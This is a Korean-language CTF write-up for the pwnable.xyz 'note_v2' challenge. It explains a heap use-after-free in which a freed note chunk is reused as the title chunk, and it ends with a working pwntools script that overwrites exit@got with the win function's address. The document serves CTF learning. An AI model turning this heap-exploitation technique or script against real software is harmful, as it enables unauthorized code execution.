문제 풀이 환경 : Ubuntu 16.04
UAF
📝 Analysis
<< Mitigation >>
<< Code >>
· make_note
이번 문제의 핵심이 되는 함수다.
vuln이라고 주석을 달아놓은 곳이 문제인데, malloc을 새로 할당해주려고 하지만 이미 값이 있다면 그냥 그 값을 써버 린다는 점이다. 즉 UAF 취약점이다.
malloc과 free에 의한 동작을 정확히 알고 있다면 이번 문제는 쉽다.
· delete_note
이 함수는 희한하게 title 부분의 청크는 해제하지 않고 note 내용이 있는 청크만 해제한다.
malloc 할당시 title 청크를 조작해줄 수 있는 여지를 제공해준 것이나 마찬가지다.
▶ 나머지 함수는 딱히 필요하지 않다.
✨ Thinking
먼저 할당하는 구조를 살펴보자.
free로 아무 청크도 해제하지 않고 계속 할당한다고 했을 때 저런 구조로 계속 아래로 쌓일 것이다.
현재 아래와 같은 상황이라고 가정하자.
처음 할당할 때 note의 size를 0x28만큼 주고 두번째 할당할 때에도 동일하게 주었다.
두 번째 할당한 이유는 현재 빨간색으로 표시한 0번 인덱스의 note가 해제되고 나서 top chunk에 병합되는 것을 방지하기 위해서다.
그러고 나서 0번 인덱스를 해제해주면 다음과 같은 상태가 된다. (보라색 칠한 거 free 되어서 fast bin에 들어간 상태를 표시한 것임.)
그리고 이렇게 note size를 아무렇게나 주면 title은 malloc이 free된 chunk 중 같은 size를 찾을 테니 0번째에서 쓰던 데이터가 초기화되지 않은 청크의 주소를 반환받아서 쓰게 된다.
이렇게 UAF가 발생하고,
위와 같은 chunk 구조 때문에 0번째 인덱스 때 note의 값을 줄 때, note pointer가 값을 입력할 수 있는 곳으로 써놓는다.
그럼 title 할당하고 새로운 note를 할당하지 않고 저기 있는 값을 주소로 보고 그곳의 값을 수정하게 될 것이다!
🧩 Exploit Scenario
1) 2번 할당. 이때 처음 할당하는 note의 size는 무조건 0x28이어야 한다.
더하여 note의 값은 값을 수정해서 이용할 수 있는 곳을 고른다.
GOT Overwrite 할건데 got 아무거나 골라도 상관없다. 부를 수 있는 거면 된다.
(나는 그냥 exit@got 골랐다. 솔직히 다른 거 했어도 됐는데 글 쓰면서 깨달았다. ㅋㅋ)
2) 0번 인덱스를 free해서 fast bin에 들어가게 한다.
3) 다시 할당해서 title이 note pointer 값 수정할 때 win 함수의 주소를 넣어준다.
내 경우는 exit@got = win function addr. 이렇게 된다.
이후 1분 기다리면 win 함수 call 된다.
🚩 Flag 🚩
from pwn import *
# p = process('./note_v2')
p = remote('svc.pwnable.xyz', 30030)
e = ELF('./note_v2')
def make(size, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b': ', str(size).encode())
p.sendafter(b'title: ', b'A')
p.sendafter(b'note: ', data)
def edit(idx, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'#: ', str(idx).encode())
p.sendafter(b': ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'#: ', str(idx))
make(0x28, b'A' * 0x20 + p64(e.got['exit'])[:-1]) # 0
make(0x28, b'B' * 0x27) # 1
delete(0)
make(0x9, p64(e.sym['win'])) # 1
p.interactive()